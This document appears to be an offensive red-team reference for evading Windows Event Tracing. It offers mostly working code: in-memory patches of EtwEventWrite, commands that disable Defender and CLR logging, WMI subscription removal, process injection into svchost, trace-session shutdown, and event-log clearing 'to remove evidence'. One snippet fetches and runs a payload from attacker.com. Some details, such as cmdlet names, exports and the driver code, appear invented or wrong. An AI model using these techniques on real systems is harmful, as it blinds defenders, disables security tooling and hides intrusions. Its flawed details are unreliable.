Legend:
[ETW]= Event Tracing for Windows |[PATCH]= Memory patching |[DISABLE]= Disabling techniques |[PS]= PowerShell |[.NET]= .NET method |[KERNEL]= Kernel/driver level |[HOOK]= Hook/interception |[OPSEC]= Stealth note |[DETECT]= Detection consideration |[TOOL]= Tooling reference
1. What is ETW
What it means: ETW (Event Tracing for Windows) is a real-time system-level event logging mechanism built into Windows that captures detailed information about process creation, registry modifications, file access, network connections, code injection attempts, API calls, and more. Unlike traditional file-based logging, ETW operates in-kernel and can't be easily disabled by user-mode processes.
Why ETW Matters for Red Teams
Without ETW:
Process creation → monitored via WMI/Task Scheduler
Injected shellcode → limited visibility
Syscalls → logged to Event Viewer (can be cleared)
With ETW (Modern Defense):
Process creation → captured in kernel → sent to EDR agents
Injected shellcode → ETW provider detects VirtualAlloc + CreateRemoteThread
Syscalls → captured in real-time → can't be cleared or hidden
PowerShell execution → captured before AMSI scan completes
.NET CLR events → monitored for assembly loading, code compilation
ETW Providers (What Gets Logged)
Key ETW Providers:
| Provider | Logs | Provider GUID |
|---|---|---|
| Process Tracing | Process creation, exit, load image | 22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716 |
| Kernel Logger | Syscalls, page faults, interrupts | 9E814AAD-3204-11D2-9A82-006097B34F36 |
| .NET Runtime | CLR assembly load, JIT, code gen | E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4 |
| Threat Intelligence | Malware detection signals | Various |
| WMI Event Tracing | WMI method calls, object modifications | 1418EF04-B680-4E19-B0AD-6724E3FB39D6 |
| Windows Defender ETW | Real-time signature scanning | Various |
| Image Load Events | DLL/driver loading | 5770385F-C22B-4FF0-A5F5-B5B647D2B527 |
| Registry | HKLM/HKCU writes | 13107D2E-63B2-4880-883A-6EBB6E08B5A2 |
ETW Return Values & Events
ETW sends events to:
✔ Event Viewer → HKLM\SYSTEM\CurrentControlSet\Services\EventLog
✔ Windows Defender ← real-time scanning
✔ EDR agents ← direct kernel callback
✔ Third-party monitoring tools (Sysmon, Process Monitor, etc.)
2. ETW Architecture & Flow
What it means: Understanding ETW internals is critical to bypassing it. ETW operates at kernel level with providers, collectors, and consumers. Each layer represents a potential bypass point.
2.1 ETW System Architecture
┌─────────────────────────────────────────────────────────────────────┐
│ USER-MODE APPLICATIONS │
│ (PowerShell, .NET, Mimikatz, etc.) │
│ │ │
│ ▼ │
│ ETW PROVIDERS (emit events) │
│ ├─ Microsoft-Windows-Kernel-Process │
│ ├─ .NET Runtime ← suspicious DLL loads │
│ ├─ Windows Defender │
│ └─ WMI (Windows Management Instrumentation) │
│ │ │
│ KERNEL-MODE BOUNDARY ═════════════ │
│ │ │
│ ▼ │
│ ntdll.dll / kernelbase.dll │
│ │ │
│ ├─ EtwEventWrite() ← core ETW function [PATCH TARGET] │
│ ├─ NtTraceEvent() │
│ └─ EventWrite() ← .NET specific │
│ │ │
│ KERNEL-MODE HANDLING │
│ │ │
│ ▼ │
│ WMI Service (wmiprvse.exe) ← collects events │
│ │ │
│ ▼ │
│ Event Log Service (eventlog.exe) │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────────────────┐ │
│ │ CONSUMERS (who sees the events) │ │
│ ├─────────────────────────────────────────────┤ │
│ │ ✔ Windows Event Viewer │ │
│ │ ✔ Windows Defender (real-time scanning) │ │
│ │ ✔ EDR Agents (endpoint detection) │ │
│ │ ✔ Sysmon / Process Monitor │ │
│ │ ✔ Custom event consumers │ │
│ └─────────────────────────────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────────────┘
2.2 ETW Event Flow (Detailed)
[1] Application wants to emit event
│
├─ Call EtwEventWrite() or equivalent
│
[2] Event data marshalled into buffer
│
[3] User-mode to kernel-mode transition (syscall)
│
[4] Kernel-mode ETW handler processes event
│
[5] Event filtered by enabled providers
│
[6] If event matches active providers → send to consumers
│
[7] Consumer processes (WMI, Event Log, EDR) receive event
│
[8] Event stored in log file or real-time scanned
2.3 Key Functions in ETW Chain
| Function | Location | Purpose | Patch Target? |
|---|---|---|---|
EtwEventWrite() |
ntdll.dll | Emit ETW events to providers | ✅ YES (most common) |
EventWrite() |
mscorlib.dll (.NET) | .NET runtime event emission | ✅ YES |
NtTraceEvent() |
ntdll.dll | Native syscall for ETW | ⚠️ Complex |
ProviderCallback() |
various providers | Provider-specific handling | 🔴 Kernel-level |
WmiPrvSe |
wmiprvse.exe | WMI event processor | ⚠️ Process-level |
EventLog Service |
svchost.exe | Event log writer | 🟡 Service-level |
3. ETW Bypass — Direct Patching
What it means: The most reliable ETW bypass is direct memory patching of EtwEventWrite() in ntdll.dll. Patch the function's first bytes to return immediately without emitting the event. This prevents events from ever reaching ETW providers.
3.1 EtwEventWrite Patching — PowerShell
# ═══════════════════════════════════════════════════════════════════
# ETW PATCHING VIA POWERSHELL — DIRECT METHOD
# ═══════════════════════════════════════════════════════════════════
# P/Invoke Windows API calls
$code = @"
using System;
using System.Runtime.InteropServices;
public class ETWPatch {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
// ETW patch bytes: RET opcode (0xC3)
// Original: function prologue and event handling
// Patched: immediate return (function does nothing)
public static void PatchETW() {
try {
// Get handle to ntdll.dll
IntPtr ntdll = GetModuleHandle("ntdll.dll");
if (ntdll == IntPtr.Zero) {
Console.WriteLine("[!] Failed to get ntdll.dll handle");
return;
}
// Get address of EtwEventWrite
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
if (etwEventWrite == IntPtr.Zero) {
Console.WriteLine("[!] Failed to get EtwEventWrite address");
return;
}
Console.WriteLine("[+] EtwEventWrite address: 0x" + etwEventWrite.ToString("X"));
// Change memory protection to RWX (0x40 = PAGE_EXECUTE_READWRITE)
uint oldProtect;
if (!VirtualProtect(etwEventWrite, (UIntPtr)1, 0x40, out oldProtect)) {
Console.WriteLine("[!] VirtualProtect failed");
return;
}
Console.WriteLine("[+] Memory protection changed to RWX");
// Patch: write RET (0xC3) to first byte
// This makes EtwEventWrite() return immediately without doing anything
byte[] patchBytes = { 0xC3 }; // RET opcode
CopyMemory(etwEventWrite, patchBytes, 1);
// Restore original protection (optional, for stealth)
VirtualProtect(etwEventWrite, (UIntPtr)1, oldProtect, out oldProtect);
Console.WriteLine("[+] ETW patched successfully!");
Console.WriteLine("[*] EtwEventWrite will now return immediately without emitting events");
}
catch (Exception ex) {
Console.WriteLine("[!] Exception: " + ex.Message);
}
}
}
"@
# Compile and execute
$asm = Add-Type -MemberDefinition $code -Name "ETWPatch" -Namespace "Win32" -PassThru
$asm::PatchETW()
# Now any code in this process won't emit ETW events
# Test: run suspicious commands — they won't appear in Event Viewer
IEX(IWR 'http://attacker.com/payload.ps1' -UseBasicParsing)
What's happening:
1. Load ntdll.dll into memory
2. Find EtwEventWrite() function address
3. Change memory protection to writable (VirtualProtect)
4. Overwrite first byte with 0xC3 (RET instruction)
5. Restore protection
6. From now on, EtwEventWrite() returns immediately without logging
3.2 EtwEventWrite Patching — Safer Approach (Poly-byte Patch)
# More reliable: patch multiple bytes to avoid detection of single-byte RET
# Patch: xor eax, eax; ret → ensures clean return value
$code = @"
using System;
using System.Runtime.InteropServices;
public class ETWPatchAdvanced {
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
public static void AdvancedETWPatch() {
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
if (etwEventWrite == IntPtr.Zero) return;
uint oldProtect;
VirtualProtect(etwEventWrite, (UIntPtr)2, 0x40, out oldProtect);
// Patch bytes:
// 0x33 0xC0 = xor eax, eax (return value = 0 / success)
// 0xC3 = ret (return from function)
byte[] patch = { 0x33, 0xC0, 0xC3 };
CopyMemory(etwEventWrite, patch, 3);
VirtualProtect(etwEventWrite, (UIntPtr)2, oldProtect, out oldProtect);
Console.WriteLine("[+] Advanced ETW patch applied (xor eax, eax; ret)");
}
}
"@
$asm = Add-Type -MemberDefinition $code -Name "ETWPatchAdv" -Namespace "Win32" -PassThru
$asm::AdvancedETWPatch()
3.3 EventWrite Patching (.NET CLR Events)
# .NET runtime also emits events via EventWrite() in mscorlib
# Patch this for full CLR event suppression
$code = @"
using System;
using System.Runtime.InteropServices;
public class CLRETWPatch {
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
public static void PatchCLRETW() {
// Try mscorwks.dll (older .NET) or clr.dll (.NET Framework)
string[] targets = { "clr.dll", "mscorwks.dll", "coreclr.dll" };
byte[] patch = { 0xC3 }; // RET
foreach (string target in targets) {
IntPtr handle = GetModuleHandle(target);
if (handle == IntPtr.Zero) continue;
IntPtr eventWrite = GetProcAddress(handle, "EventWrite");
if (eventWrite == IntPtr.Zero) continue;
uint oldProtect;
if (VirtualProtect(eventWrite, (UIntPtr)1, 0x40, out oldProtect)) {
CopyMemory(eventWrite, patch, 1);
VirtualProtect(eventWrite, (UIntPtr)1, oldProtect, out oldProtect);
Console.WriteLine("[+] CLR ETW patched in " + target);
}
}
}
}
"@
$asm = Add-Type -MemberDefinition $code -Name "CLRETWPatch" -Namespace "Win32" -PassThru
$asm::PatchCLRETW()
# Now .NET assembly loading, JIT events, etc. won't be logged
3.4 [OPSEC] Detecting Patched EtwEventWrite
# Detection: EDR checks first byte of EtwEventWrite
# If it's 0xC3 (RET), it's been patched!
# Stealthier approach: don't patch, use alternative methods (see below)
# Signature of patched EtwEventWrite:
# Address: 0x7ffb1234 (ntdll)
# Original first 5 bytes: 48 89 5C 24 08 (mov [rsp+8], rbx)
# Patched first byte: C3 (ret)
# Defense: Monitor for changes to EtwEventWrite, enable memory protection
4. ETW Bypass — ClrDisableETW Registry
What it means: The HKLM\SYSTEM\CurrentControlSet\Services\eventlog\System and related registry keys control ETW behavior. Setting ClrDisableETW = 1 disables .NET runtime ETW logging.
4.1 Disable CLR ETW via Registry (Requires Admin)
# ═══════════════════════════════════════════════════════════════════
# DISABLE .NET CLR ETW VIA REGISTRY
# ═══════════════════════════════════════════════════════════════════
# This requires ADMIN privileges
# Method 1: Direct registry modification
reg add "HKLM\System\CurrentControlSet\Services\EventLog\System" /v "ClrDisableETW" /t REG_DWORD /d 1 /f
# Or via PowerShell (Admin console)
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\EventLog\System" `
-Name "ClrDisableETW" `
-Value 1 `
-Type DWord `
-Force
# Verify
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\EventLog\System" -Name "ClrDisableETW"
# Cleanup (restore)
reg delete "HKLM\System\CurrentControlSet\Services\EventLog\System" /v "ClrDisableETW" /f
4.2 Disable Windows Defender ETW (Requires Admin)
# Windows Defender has its own ETW provider settings
# Method 1: Disable Defender Scanning via Group Policy
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
# Method 2: Disable real-time scanning
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender\Real-Time Protection" `
-Name "DisableRealtimeMonitoring" `
-Value 1 `
-Force
# Method 3: Disable ETW-specific provider
# Note: Provider GUIDs are hard to target directly; easier to patch EtwEventWrite
4.3 [OPSEC] Registry Modification Detection
# Defenders monitor these registry paths:
# HKLM\System\CurrentControlSet\Services\EventLog\*
# HKLM\Software\Policies\Microsoft\Windows Defender\*
# HKLM\Software\Microsoft\Windows Defender\Real-Time Protection\*
# Detection indicators:
# - EventLog service restart after registry change
# - DisableAntiSpyware or DisableRealtimeMonitoring set to 1
# - ClrDisableETW suddenly appearing
# Better alternative: Use non-registry methods (patching, process injection)
5. ETW Bypass — WMI Event Subscription Manipulation
What it means: WMI (Windows Management Instrumentation) is used by Windows to collect and distribute ETW events. By modifying WMI event subscriptions, you can prevent events from being delivered to ETW consumers (Event Viewer, EDR agents).
5.1 Disable WMI Event Subscriptions
# ═══════════════════════════════════════════════════════════════════
# DISABLE WMI EVENT TRACING VIA EVENT SUBSCRIPTION MANIPULATION
# ═══════════════════════════════════════════════════════════════════
# List active WMI event subscriptions
Get-WmiObject -Class __EventFilter -Namespace "root\subscription" | Select-Object Name, Query
# Get permanent WMI subscriptions
Get-WmiObject -Class __EventConsumer -Namespace "root\subscription" | Select-Object Name
# List bindings (what subscriptions feed into what consumers)
Get-WmiObject -Class __FilterToConsumerBinding -Namespace "root\subscription"
# ─────────────────────────────────────────────────────────────────
# Remove a specific event subscription
$sub = Get-WmiObject -Class __EventFilter -Namespace "root\subscription" -Filter "Name='ThreatIntelligence'"
$sub | Remove-WmiObject
# Remove associated consumer
$consumer = Get-WmiObject -Class __EventConsumer -Namespace "root\subscription" -Filter "Name='ThreatIntelligence'"
$consumer | Remove-WmiObject
# ─────────────────────────────────────────────────────────────────
# Disable all event subscriptions (dangerous, very noisy)
Get-WmiObject -Class __EventFilter -Namespace "root\subscription" | Remove-WmiObject
Get-WmiObject -Class __EventConsumer -Namespace "root\subscription" | Remove-WmiObject
5.2 Create Fake Event Subscription (Redirection)
# Advanced: redirect events away from real consumers
# Create a dummy event filter that captures the events
$EventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" `
-Arguments @{
Name = "DummyFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "Select * From Win32_ProcessStartTrace"
}
# Create a fake consumer that does nothing (sinkhole)
$EventConsumer = Set-WmiInstance -Class __NullEventConsumer -Namespace "root\subscription" `
-Arguments @{Name = "DummyConsumer"}
# Bind filter to this fake consumer instead of real one
$Binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" `
-Arguments @{
Filter = $EventFilter
Consumer = $EventConsumer
}
# Result: events match, go to fake consumer, never reach ETW
5.3 [OPSEC] WMI Tampering Detection
# EDR monitors for:
# - Creation/deletion of __EventFilter objects
# - Creation/deletion of __EventConsumer objects
# - Modification of __FilterToConsumerBinding
# Detection via PowerShell Event Log:
# Event ID 4688 (Process Creation): powershell -Command "Remove-WmiObject..."
# Event ID 4103 (Module Logging): Set-WmiInstance, Remove-WmiObject calls
# Better approach: Use direct patching instead of WMI manipulation
6. ETW Bypass — COMPlus Disabling
What it means: The Common Language Runtime (CLR) uses environment variables and registry keys prefixed with COMPLUS_ to control behavior. Setting COMPLUS_ETW=0 disables ETW for .NET processes.
6.1 Disable ETW via COMPLUS Environment Variables
# ═══════════════════════════════════════════════════════════════════
# ETW DISABLE VIA COMPLUS ENVIRONMENT VARIABLES
# ═══════════════════════════════════════════════════════════════════
# Method 1: Set environment variable (affects new processes)
[Environment]::SetEnvironmentVariable("COMPLUS_ETW", "0", [System.EnvironmentVariableTarget]::Machine)
# Verify
[Environment]::GetEnvironmentVariable("COMPLUS_ETW", [System.EnvironmentVariableTarget]::Machine)
# Method 2: Temporary (current PowerShell session only)
$env:COMPLUS_ETW = "0"
# Method 3: Per-process via registry
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ProcessName>" /v "COMPLUS_ETW" /t REG_SZ /d "0" /f
# ─────────────────────────────────────────────────────────────────
# Other COMPLUS variables that affect ETW / monitoring:
# Disable ProfAPI (profiler API events)
[Environment]::SetEnvironmentVariable("COMPLUS_ProfAPI_ProfilerCompatibilitySetting", "DisableProfiling", "Machine")
# Disable CLR instrumentation
[Environment]::SetEnvironmentVariable("COMPLUS_Instrumented", "0", "Machine")
# Disable ETW on CLR startup
[Environment]::SetEnvironmentVariable("COMPLUS_DisableETW", "1", "Machine")
# ─────────────────────────────────────────────────────────────────
# Load .NET assembly after setting COMPLUS_ETW
[Environment]::SetEnvironmentVariable("COMPLUS_ETW", "0")
$data = [Convert]::FromBase64String("BASE64_ASSEMBLY")
[Reflection.Assembly]::Load($data)
6.2 COMPLUS Registry Hive Approach
# Set COMPLUS variables via HKCU (user-mode, no admin needed)
Set-ItemProperty -Path "HKCU:\Environment" -Name "COMPLUS_ETW" -Value "0" -Force
Set-ItemProperty -Path "HKCU:\Environment" -Name "COMPLUS_DisableETW" -Value "1" -Force
# These apply to all .NET processes started by this user
# Verify via cmd
cmd /c "set | findstr COMPLUS"
# Clean up
Remove-ItemProperty -Path "HKCU:\Environment" -Name "COMPLUS_ETW" -ErrorAction SilentlyContinue
Remove-ItemProperty -Path "HKCU:\Environment" -Name "COMPLUS_DisableETW" -ErrorAction SilentlyContinue
7. ETW Bypass — Process Suspense + Resume
What it means: Suspend a process immediately after creation (before malicious code runs), patch ETW, then resume. This creates a small window before any ETW events are emitted.
7.1 Suspend-Patch-Resume Technique
# ═══════════════════════════════════════════════════════════════════
# SUSPEND → PATCH ETW → RESUME APPROACH
# ═══════════════════════════════════════════════════════════════════
$code = @"
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
public class SuspendPatchResume {
[DllImport("ntdll.dll")]
public static extern uint NtSuspendProcess(IntPtr ProcessHandle);
[DllImport("ntdll.dll")]
public static extern uint NtResumeProcess(IntPtr ProcessHandle);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
public static void PatchAfterSuspend(IntPtr processHandle) {
// 1. Suspend target process
uint result = NtSuspendProcess(processHandle);
if (result != 0) {
Console.WriteLine("[!] Failed to suspend process: 0x" + result.ToString("X"));
return;
}
Console.WriteLine("[+] Process suspended");
// 2. Find and patch EtwEventWrite in target process
// Note: This is simplified; in reality, you'd need to inject into target process
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
uint oldProtect;
if (VirtualProtect(etwEventWrite, (UIntPtr)1, 0x40, out oldProtect)) {
byte[] patch = { 0xC3 };
CopyMemory(etwEventWrite, patch, 1);
VirtualProtect(etwEventWrite, (UIntPtr)1, oldProtect, out oldProtect);
Console.WriteLine("[+] ETW patched in suspended process");
}
// 3. Resume process
result = NtResumeProcess(processHandle);
if (result == 0) {
Console.WriteLine("[+] Process resumed (ETW patched)");
}
}
}
"@
Add-Type -MemberDefinition $code -Name "SuspendPatchResume" -Namespace "Win32" -PassThru | Out-Null
# Usage
$proc = Start-Process "powershell.exe" -WindowStyle Hidden -PassThru
[Win32.SuspendPatchResume]::PatchAfterSuspend($proc.Handle)
# Now run commands in this PowerShell process — ETW won't see them
7.2 Process Injection Alternative (More Reliable)
# Better: inject into existing process, patch there, run malicious code
$code = @"
using System;
using System.Runtime.InteropServices;
public class InjectPatchExecute {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
public static void InjectAndPatch(int targetPID) {
// Open target process (PROCESS_ALL_ACCESS = 0x1F0FFF)
IntPtr hProc = OpenProcess(0x1F0FFF, false, targetPID);
// Get EtwEventWrite address in CURRENT process
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
// Create shellcode to patch EtwEventWrite in target
byte[] patchShellcode = new byte[] {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
// ... complex shellcode to patch target's EtwEventWrite
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};
// Allocate space in target
IntPtr remoteAlloc = VirtualAllocEx(hProc, IntPtr.Zero, (uint)patchShellcode.Length,
0x3000, 0x40); // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
// Write shellcode
uint written;
WriteProcessMemory(hProc, remoteAlloc, patchShellcode, (uint)patchShellcode.Length, out written);
// Execute
uint threadId;
CreateRemoteThread(hProc, IntPtr.Zero, 0, remoteAlloc, IntPtr.Zero, 0, out threadId);
Console.WriteLine("[+] Shellcode injected and executed in PID " + targetPID);
}
}
"@
Add-Type -MemberDefinition $code -Name "InjectPatchExecute" -Namespace "Win32" -PassThru | Out-Null
# Inject into svchost.exe (SYSTEM process)
[Win32.InjectPatchExecute]::InjectAndPatch(1234)
8. ETW Bypass — DLL Unloading
What it means: Unload or disable ntdll.dll hooks that trigger ETW. Not practical for real-world use (would crash the process), but illustrative of the concept.
8.1 Theory: DLL Unhooking (Stealthiness via Memory Restoration)
# ═══════════════════════════════════════════════════════════════════
# NTDLL UNHOOKING (RESTORE ORIGINAL CODE)
# ═══════════════════════════════════════════════════════════════════
# EDR often injects hooks into ntdll at specific functions:
# - NtCreateProcess
# - NtCreateThreadEx
# - NtReadVirtualMemory
# - NtWriteVirtualMemory
# - EtwEventWrite (!)
# To bypass: restore original bytes from disk
$code = @"
using System;
using System.IO;
using System.Runtime.InteropServices;
public class NtdllRestore {
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
public static void RestoreNtdllFromDisk() {
// Read pristine ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes("C:\\Windows\\System32\\ntdll.dll");
// Get hooked ntdll in memory
IntPtr loadedNtdll = GetModuleHandle("ntdll.dll");
// Identify hooked regions (this is complex — need to compare)
// For each hooked byte range:
// 1. Change protection to RWX
// 2. Copy clean bytes from disk
// 3. Restore protection
// Example: unhook first 100 bytes
uint oldProtect;
VirtualProtect(loadedNtdll, (UIntPtr)100, 0x40, out oldProtect);
CopyMemory(loadedNtdll, new byte[100] { }, 100); // Would copy from cleanNtdll
VirtualProtect(loadedNtdll, (UIntPtr)100, oldProtect, out oldProtect);
Console.WriteLine("[+] NTDLL hooks restored from disk");
}
}
"@
# Note: This requires knowing exactly which bytes are hooked
# Modern EDR uses polymorphic hooks, making restoration unreliable
9. ETW Bypass — Syscall Hooking & Filter Drivers
What it means: Load a kernel-level filter driver that intercepts syscalls and modifies ETW event data before it reaches consumers, or blocks specific events entirely.
9.1 Kernel Driver ETW Blocking (Concept)
// Windows Kernel Driver (WinDDK)
// This would block process creation events from reaching ETW
#include <ntdef.h>
#include <ntifs.h>
#include <Ntddkbd.h>
// ETW provider callback function
VOID ETWBlockerCallback(
PETW_NOTIFICATION_CALLBACK Notification,
PVOID Context
) {
// Modify or drop event
if (Notification->EventType == ETW_NOTIFICATION_TYPE_ENABLE) {
// Block this provider
return;
}
}
// Driver entry
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
// Register ETW callback
// EtwRegisterEventNotification(ETWBlockerCallback);
// Alternative: hook NtTraceEvent syscall
// Hook via SSDT (System Service Descriptor Table)
// This blocks ETW at kernel level — undetectable from user-mode
return STATUS_SUCCESS;
}
Practical Note: Kernel driver deployment requires: - Code signing (expensive) - Admin/SYSTEM privileges - Knowledge of kernel exploitation - High risk of BSOD
Not practical for most red team scenarios.
10. ETW Bypass via Kernel Driver
What it means: Deploy a signed kernel driver that disables ETW globally or for specific processes. Most reliable but complex approach.
10.1 Minifilter Driver for ETW Blocking
// Concept: Minifilter driver that intercepts file I/O related to ETW logs
#include <fltKernel.h>
// Minifilter callback for filesystem operations
FLT_PREOP_CALLBACK_STATUS PreOperationCallback(
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Flt_CompletionContext_Outptr_ PVOID *CompletionContext
) {
// If operation targets ETW log files, block it
if (wcsstr(Data->Iopb->TargetFileObject->FileName.Buffer, L"\\winevt\\logs\\")) {
// Block write operation
Data->IoStatus.Status = STATUS_ACCESS_DENIED;
return FLT_PREOP_COMPLETE;
}
return FLT_PREOP_SUCCESS_WITH_CALLBACK;
}
Key files to block:
- C:\Windows\System32\winevt\Logs\*
- C:\Windows\System32\EventLog.dll
- Registry paths under HKLM\System\CurrentControlSet\Services\EventLog
11. ETW Bypass in .NET / Runtime Modifications
What it means: Modify .NET CLR internals at runtime to prevent assembly loading events, JIT compilation events, and other managed code ETW emissions.
11.1 Disable CLR JIT Compilation Logging
# ═══════════════════════════════════════════════════════════════════
# DISABLE CLR JIT COMPILATION ETW EVENTS
# ═══════════════════════════════════════════════════════════════════
# Method 1: Via COMPlus variables (already shown in section 6)
$env:COMPLUS_JitPrintInliningFailures = "0"
$env:COMPLUS_JitPrintInliningSuccesses = "0"
# Method 2: Reflection to disable ETW in running CLR
$clrClass = [System.Reflection.Assembly]::LoadWithPartialName("mscorlib").GetType("System.Diagnostics.Tracing.EventSource")
# Access private fields...
# (Complex and undocumented)
# Method 3: Direct patches to coreclr.dll functions
$code = @"
using System;
using System.Runtime.InteropServices;
public class CLRETWDisable {
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern void CopyMemory(IntPtr destination, byte[] source, uint count);
public static void DisableJITETW() {
// Patch CLR's JIT compiler event emission
IntPtr clrModule = GetModuleHandle("coreclr.dll");
if (clrModule == IntPtr.Zero) {
clrModule = GetModuleHandle("clr.dll");
}
if (clrModule != IntPtr.Zero) {
// Patch JIT event functions
string[] targets = { "JitEventWrite", "JitTraceEventWrite" };
byte[] patch = { 0xC3 }; // ret
foreach (string func in targets) {
IntPtr funcPtr = GetProcAddress(clrModule, func);
if (funcPtr != IntPtr.Zero) {
uint oldProtect;
VirtualProtect(funcPtr, (UIntPtr)1, 0x40, out oldProtect);
CopyMemory(funcPtr, patch, 1);
VirtualProtect(funcPtr, (UIntPtr)1, oldProtect, out oldProtect);
Console.WriteLine("[+] Patched " + func);
}
}
}
}
}
"@
Add-Type -MemberDefinition $code -Name "CLRETWDisable" -Namespace "Win32" -PassThru
[Win32.CLRETWDisable]::DisableJITETW()
12. ETW Provider Manipulation
What it means: Directly manipulate ETW providers in the registry to disable or modify their behavior.
12.1 Disable ETW Providers via Registry
# ═══════════════════════════════════════════════════════════════════
# DISABLE ETW PROVIDERS IN REGISTRY (Admin Required)
# ═══════════════════════════════════════════════════════════════════
# List all registered ETW providers
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels"
# Disable specific provider (e.g., Process Tracing)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\System" /v "Enabled" /t REG_DWORD /d 0 /f
# Or disable via PowerShell
$providers = Get-WinEvent -ListProvider | Where {$_.Name -like "*Process*"}
foreach ($provider in $providers) {
$provider.LogLinks | Set-EventLog -PassThru | Where {$_.Enabled -eq $true} | Disable-EventLog
}
# Disable Microsoft-Windows-Kernel-Process provider specifically
Disable-NetEventTrace -Name "Kernel-Process" -ErrorAction SilentlyContinue
# Alternative: Disable via ETW controller
logman stop "NT Kernel Logger" -ets
12.2 Remove ETW Trace Sessions
# List active trace sessions
logman query -ets
# Stop a specific session
logman stop "Circular Kernel Context Logger" -ets
logman stop "EventLog-System" -ets
# Delete/remove session
logman delete "Custom_Trace_Session" -ets
# Clear Event Log (removes evidence)
Clear-EventLog -LogName System
Clear-EventLog -LogName Security
13. ETW Evasion via Process Injection
What it means: Inject malicious code into a trusted process (svchost.exe, lsass.exe, etc.) that already has logging disabled or filtered.
13.1 Target Privileged Processes
# Processes with high privilege and low monitoring:
# - svchost.exe (SYSTEM) → service host
# - lsass.exe (SYSTEM) → auth services, less monitored
# - services.exe (SYSTEM) → main service dispatcher
